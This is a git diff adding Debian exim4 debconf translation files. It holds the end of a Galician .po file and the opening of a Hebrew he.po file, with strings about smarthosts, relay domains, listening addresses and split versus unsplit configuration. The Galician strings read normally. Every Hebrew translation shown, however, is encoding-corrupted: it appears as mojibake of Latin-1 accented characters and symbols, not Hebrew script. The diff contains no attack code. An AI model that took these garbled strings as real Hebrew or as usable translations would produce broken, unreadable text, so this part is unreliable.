+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Os paquetes de Exim4 de Debian poden empregar \"configuración contínua\", un "
+"só ficheiro monolítico (/etc/exim4/exim4.conf.template) ou \"configuración "
+"partida\", na que os ficheiros de configuración de Exim se constrúen a "
+"partires duns 50 ficheiros pequenos armacenados en /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"A configuración contínua axéitase máis a modificacións grandes e adoita ser "
+"máis estable, mentres que a configuración partida ofrece un xeito cómodo de "
+"facer pequenas modificacións pero é máis fráxil e podería romper se se "
+"modifica sen coidado."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Hai unha discusión máis detallada sobre a configuración partida e contínua "
+"nos ficheiros README específicos de Debian de /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "¿Agochar o nome local no correo de saída?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Pódense rescribir as cabeceiras do correo de saída para que pareza que se "
+"xerou nun sistema diferente. Se se selecciona esta opción hanse rescribir "
+"\"${mailname}\", \"localhost\" e \"${dc_other_hostnames}\" nas cabeceiras "
+"From, Reply-To, Sender e Return-Path."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "Formato mbox en /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Formato Maildir no directorio do usuario"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Método de entrega para o correo local:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim pode armacenar o correo que se entrega localmente en varios formatos. "
+"Os máis habituais son mbox e Maildir. Mbox emprega un só ficheiro para todo "
+"o cartafol de correo armacenado en /var/mail/. Co formato Maildir, cada "
+"mensaxe grávase nun ficheiro separado en ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Teña en conta que a maioría das ferramentas de correo de Debian esperan que "
+"o método de entrega local sexa mbox por defecto."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "¿Mover as mensaxes sen enviar de exim 3 ao directorio de traballo de "
+#~ "exim4?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Hai mensaxes sen enviar no directorio de traballo de exim 3 (ou exim-tls "
+#~ "3), /var/spool/exim/input/."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Se escolle esta opción hanse mover estas mensaxes ao directorio de "
+#~ "traballo de exim4 (/var/spool/exim4/input/), no que exim4 as ha xestionar."
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Isto só funciona nun sentido: Exim4 pode xestionar o directorio de "
+#~ "traballo de exim 3 pero non ao revés. Se rexeita esta opción, terá que "
+#~ "mover as mensaxes vostede mesmo ou non se han entregar nunca."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "Se deixa esta lista baleira Exim non ha facer entregas locais."
+
+#~ msgid ""
+#~ "This works only one-way: exim4 can handle exim(v3)'s spool but not vice-"
+#~ "versa."
+#~ msgstr ""
+#~ "Isto só funciona nun sentido: exim4 pode xestionar o directorio de "
+#~ "traballo de exim(v3) pero non ao revés."
+
+#~ msgid ""
+#~ "So it is only advisable to move the messages only if it is not planned to "
+#~ "go back to Exim(v3). If a rollback might be necessary, it is a better "
+#~ "idea to refrain from moving the messages now but moving them manually at "
+#~ "a later time."
+#~ msgstr ""
+#~ "Polo tanto, só é aconsellable mover as mensaxes se non planea voltar a "
+#~ "Exim(v3). Se é posible que sexa necesario voltar, é mellor idea que non "
+#~ "mova agora as mensaxes senón movelas despois."
+
+#~ msgid ""
+#~ "Domains listed here need to be separated by semicolons. Wildcards may be "
+#~ "used."
+#~ msgstr ""
+#~ "Os dominios desta lista teñen que ir separados por signos de punto e coma "
+#~ "(;). Pódense empregar comodíns."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Mova as mensaxes só se non pensa voltar a exim(v3); noutro caso, non "
+#~ "debería movelas agora senón despois a man cando teña convertida a "
+#~ "configuración."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Estes dominios son dominios para os que pode aceptar correo dende "
+#~ "calquera lugar de Internet. Non mencione aquí os dominios locais."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Xa que activou a ocultación do nome de correo local no correo saínte, "
+#~ "debe especificar o nome de dominio para o correo procedente dos usuarios "
+#~ "locais; adoita ser o da máquina no que normalmente recibe o correo."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "¿Onde han ler o correo os seus usuarios?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr "Máquina que xestiona o correo saínte desta máquina (smarthost):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr "Introduza o nome da máquina ao que se envía o correo saínte."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Active esta característica se emprega marcación baixo demanda; se non, "
+#~ "desactíveo."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr "Se non está seguro non debería empregar unha configuración partida."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "convertir manualmente dende unha configuración manual de Exim v3"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "¿Configurar Exim4 a man?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Indicou que ten unha configuración manual de Exim 3. Para convertila a "
+#~ "Exim 4 pode empregar a ferramenta exim_convert4r4(8) trala instalación. "
+#~ "Consulte os ficheiros /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "e /usr/share/doc/exim4-base/README.Debian.gz ."
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr "Ata que configure o seu sistema de correo, non ha poder funcionar."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "O seu \"nome de correo\" é a parte correspondente ao nome do servidor no "
+#~ "enderezo que aparece nas mensaxes saíntes de news e correo (a parte que "
+#~ "hai á dereita da arroba), a menos que se agoche mediante rescritura."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "Introduza aquí as redes das máquinas locais para as que acepta remitir o "
+#~ "correo."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "Debería incluír unha lista con tódalas máquinas que han empregar este "
+#~ "servidor coma \"smart host\"."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "Ten que poñer signos de dous puntos dobres (::) nos enderezos IPv6 (por "
+#~ "exemplo, 5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "Introduza unha lista de enderezos IP separados por signos de dous puntos "
+#~ "(:). Ten que dobrar os signos (::) nos enderezos IPv6 (por exemplo, "
+#~ "5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "A configurar Exim v4 (exim4-config)"
diff --git a/debian/po/he.po b/debian/po/he.po
new file mode 100644
index 0000000..2c7bd9c
--- /dev/null
+++ b/debian/po/he.po
@@ -0,0 +1,617 @@
+# translation of he.po to Hebrew
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+# Developers do not need to manually edit POT or PO files.
+#
+# Lior Kaplan <kaplan@debian.org>, 2006.
+msgid ""
+msgstr ""
+"Project-Id-Version: he\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-07-16 10:01+0200\n"
+"Last-Translator: Baruch Even <baruch@debian.org>\n"
+"Language-Team: Hebrew <debian-hebrew-common@lists.alioth.debian.org>\n"
+"Language: he\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "להסיר דו×ר ×©×œ× ×”×•×¢×‘×¨ מה-spool?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"ישנן הודעות ×©×œ× × ×©×œ×—×• ב-spool של exim ×©× ×ž×¦× ×‘×¡×¤×¨×™×” /var/spool/exim4/input. "
+"הסרה של Exim ×ª×’×¨×•× ×œ×”× ×œ×”×™×©×ר במצב ×–×” עד התקנה מחדש של Exim."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"×× ×פשרות ×–×ת ××™× ×” נבחרת, ספריית ×”-spool תשמר, ובכך תת×פשר שליחה של הודעות "
+"שנמצ×ות בתור השליחה ל×חר התקנה מחדש של Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "הגדר מחדש ×ת החבילה exim4-config ×‘×ž×§×•× ×ת החבילה ×”×–×ת"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"קבצי ההגדרות של Exim4 הופרדו לחבילה ייעודית, exim4-config. על מנת לשנות ×ת "
+"ההגדרות של Exim4 יש להשתמש ב-'dpkg-reconfigure exim4-config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "×תר ×ינטרנט; דו×ר נשלח ומתקבל ישירות ×¢\"×™ SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "דו×ר נשלח ×¢\"×™ מ×רח ×—×›×; מתקבל דרך SMTP ×ו fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "דו×ר נשלח ×¢\"×™ מ×רח ×—×›×; ×ין דו×\"ל מקומי"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "חלוקת מקומית בלבד; המחשב ×œ× × ×ž×¦× ×‘×¨×©×ª"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "×ין הגדרות בשלב ×–×” "
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "סוג כללי של הגדרות דו×ר"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "בחר ×ת סוג ההגדרות של שרת הדו×ר המת××™× ×œ×¦×¨×›×™× ×©×œ×š."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"מערכות ×¢× ×›×ª×•×‘×ª IP דינמית, כולל ×›×לה ×¢× ×—×™×‘×•×¨ dialup, צריכות להגדיר להעביר "
+"דו×ר ×™×•×¦× ×œ×ž×›×•× ×” ×חרת שנקר×ת 'smarthost' מ×חר ומערכות דו×ר רבות ב×ינטרנט "
+"חוסמות קבלת דו×ר ממערכות בעלות כתובת IP דינמית לצורך ×”×’× ×” מפני דו×ר זבל."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"מחשב ×¢× ×›×ª×•×‘×ª IP דינמית יכול לקבל ×ת הדו×ר של עצמו, ×ו שקבלה מקומית יכולה "
+"להיות מבוטלת למעט דו×ר ל-root ול-postmaster."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "×”×× ×תה בטוח שברצונך להש×יר ×ת מערכת הדו×ר ×œ× ×ž×•×’×“×¨×ª?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"עד שהמערכת שלך תוגדר, ×”×™× ×ª×”×™×” שבורה ×•×œ× × ×™×ª× ×ª לשימוש. ניתן להגדיר ×ת המערכת "
+"מ×וחר יותר על ידי הרצת הפקודה 'dpkg-reconfigure exim4-config' כמשתמש root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "×©× ×ž×¢×¨×›×ª הדו×ר:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr "ההגדרה 'mail name' ×”×™× ×©× ×”×ž×ª×—× ×©×ž×™×•×—×¡ לכתובות דו×ר ×œ×œ× ×©× ×ž×ª×—×."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"×©× ×–×” ×™×”×™×” בשימוש ×’× ×¢×œ ידי תוכנות ×חרות. ×”×•× ×¦×¨×™×š להיות ×©× ×”×ž×ª×—× ×”×ž×œ× "
+"והיחידי (FQDN) שממנו יר××” שהדו×ר מגיע."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"כך, ×× ×›×ª×•×‘×ª דו×ר על המחשב המקומי ×”×™× foo@example.org, הערך הנכון ל×פשרות זו "
+"הינו example.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr "×©× ×–×” ×œ× ×™×•×¤×™×¢ בשורות From: של דו×ר ×™×•×¦× ×× ×ª×פשר כתיבה מחדש."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "×™×¢×“×™× ××—×¨×™× ×©×ž×”× ×“×•×ר מ×ושר:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"הכנס בבקשה רשימה של שמות ×ž×ª×—× ×©×œ×”× ×ž×›×•× ×” ×–×ת תחשוב ×ת עצמה כיעד הסופי, חוץ "
+"מ×שר ×”× ×”×ž×—×©×‘ המקומי, (${fqdn}) ו-'localhost'."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"כברירת מחדל כל ×”×ž×ª×—×ž×™× ×™×§×‘×œ×• ×ותו יחס. ×× a.example ו-b.example ×”× ×ž×ª×—×ž×™× "
+"מקומיי×, acc@a.example ו-acc@b.example יועברו ל×ותו מקו×. ×× ×ž×ª×—×ž×™× ×©×•× ×™× "
+"×¦×¨×™×›×™× ×œ×§×‘×œ יחס שונה, יש צורך לערוך ×ת קבצי ההגדרה מ×וחר יותר."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "שמות ×ž×ª×—× ×©××œ×™×”× ×™×© להעביר דו×ר:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"× × ×œ×”×›× ×™×¡ רשימה מופרדת על ידי נקודה-פסיק של שמות ×ž×ª×—× ×©×”×ž×¢×¨×›×ª תעביר ×‘×©×‘×™×œ× "
+"דו×ר, למשל כשרת גיבוי ×œ×ž×ª×—× ×ו שרת ביניי×. המערכת תקבל דו×ר לשמות ×ž×ª×—× ×לו "
+"מכל ×ž×§×•× ×•×ª×¢×‘×™×¨ ××•×ª× ×œ×¤×™ ×”×—×•×§×™× ×”×ž×§×•×ž×™×™× ×‘×ž×¢×¨×›×ª."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "×œ× ×œ×”×’×“×™×¨ שמות ×ž×ª×—× ×ž×§×•×ž×™×™× ×›×ן. ציון כללי (wildcard) ניתן לשימוש."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "מכונות להעביר ××œ×™×”× ×“×•×ר:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"× × ×œ×”×›× ×™×¡ רשימה מופרדת נקודה-פסיק של תחומי כתובות IP ×œ×”× ×”×ž×¢×¨×›×ª תעביר דו×ר "
+"×œ×œ× ×”×’×‘×œ×•×ª, ובכך תתפקד ×›-smarthost."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"רצוי להשתמש בסטנדרט של כתובת/×ורך (לדוגמה: 194.222.242.0/24 ×ו "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr "×× ×ž×¢×¨×›×ª זו ×œ× ×מורה לשמש ×›-smarthost למחשב ×חר, הש×ר שדה ×–×” ריק."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "×©× ×ž×ª×—× × ×¨××” עבור ×ž×©×ª×ž×©×™× ×ž×§×•×ž×™×™×:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"×”×פשרות להסתיר ×ת ×©× ×”×“×•×ר המקומי בדו×ר ×™×•×¦× ×”×™× ×” מופעלת. עקב כך יש צורך "
+"לציין ×ת ×©× ×”×ž×ª×—× ×©×ž×¢×¨×›×ª זו תשתמש לחלק ×”×ž×ª×—× ×©×œ כתובות ×”×ž×©×ª×ž×©×™× ×”×ž×§×•×ž×™×™×."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "כתובת IP ×ו ×©× ×ž×—×©×‘ דרכו ×ž×¢×‘×™×¨×™× ×“×•×ר ×™×•×¦× (smarthost):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"× ×” להכניס ×ת כתובת ×”-IP ×ו ×ת ×©× ×”×ž×—×©×‘ של שרת הדו×ר שמערכת זו תעביר ×ליו "
+"דו×ר ×›-smarthost. ×× ×©×¨×ª הדו×ר ×”×–×” מקבל ×ת הדו×ר שלך בפורט ×חר מ-TCP/25, "
+"הוסף שני סימני × ×§×•×“×ª×™×™× ×•×ת מספר הפורט (למשל smarthost.example::587 ×ו "
+"192.168.254.254::2525). × ×§×•×“×ª×™×™× ×‘×›×ª×•×‘×•×ª IPv6 צריכות להיות מוכפלות."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"×× ×”-smarthost דורש ×ימות, ×× × ×¤× ×” לקובץ README הייעודי לדבי×ן ×©× ×ž×¦× ×‘-/usr/"
+"share/doc/exim4-base להערות ×יך להגדיר ×ימות ל-SMTP."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "מקבל דו×ר של root ו-postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"דו×ר ל-'postmaster', 'root' וחשבונות מערכת ××—×¨×™× ×¦×¨×™×›×™× ×œ×”×™×•×ª ×ž×•×¤× ×™× ×œ×—×©×‘×•×Ÿ "
+"המשתמש של מפעיל המערכת."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr "×× ×¢×¨×š ×–×” מוש×ר ריק, דו×ר ×–×” יישמר ב-/var/mail/mail, מה ש×ינו מומלץ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"×©×™× ×œ×‘ שהדו×ר של postmaster צריך ×œ×”×§×¨× ×¢×œ המערכת ×ליה ×”×•× × ×•×¢×“ ×•×œ× ×œ×”×™×•×ª "
+"מועבר הל××” ×œ×ž×§×•× ×חר. כך שלפחות למשתמש ×חד ×תה צריך ×œ× ×œ×”×¢×‘×™×¨ למחשב ×חר. "
+"השתמש בקידומת 'root-' כדי להבטיח העברה מקומית."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "שמות משתמש ×ž×¨×•×‘×™× ×¦×¨×™×›×™× ×œ×”×™×•×ª ×ž×•×¤×¨×“×™× ×¢×œ ידי רווחי×."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "כתובת IP לה×זין עליהן לחיבורי SMTP נכנסי×:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"× × ×œ×”×›× ×™×¡ רשימה מופרדת נקודה-פסיק של כתובות IP. שרת ×”-SMTP של Exim ×™×זין לכל "
+"הכתובות הרשומות ×›×ן."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"הש×רת ערך ×–×” ריק, ×ª×’×¨×•× ×œ-Exim להקשיב ×œ×—×™×‘×•×¨×™× ×¢×œ כל ממשקי הרשת הזמיני×."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"×× ×ž×—×©×‘ ×–×” ×œ× ×ž×§×‘×œ דו×ר ישירות ×ž×ž×—×©×‘×™× ×חרי×, ××œ× ×¨×§ דרך ×©×™×¨×•×ª×™× ×ž×§×•×ž×™×™× "
+"כגון fetchmail ×ו תוכנת הדו×ר שלך (MUA) שמדברת ×¢× ×”×ž×—×©×‘ המקומי, מומלץ ל×סור "
+"×—×™×‘×•×¨×™×™× ×—×™×¦×•× ×™×™× ×œ-Exim ×¢\"×™ הגדרת ×פשרות ×–×ת לערך 127.0.0.1 ובכך הקשבה "
+"לממשקי רשת ציבוריי×."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "הש×ר ×ת מספר ש×ילתות ×”-DNS ×‘×ž×™× ×™×ž×•× (חיוג לפי דרישה)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
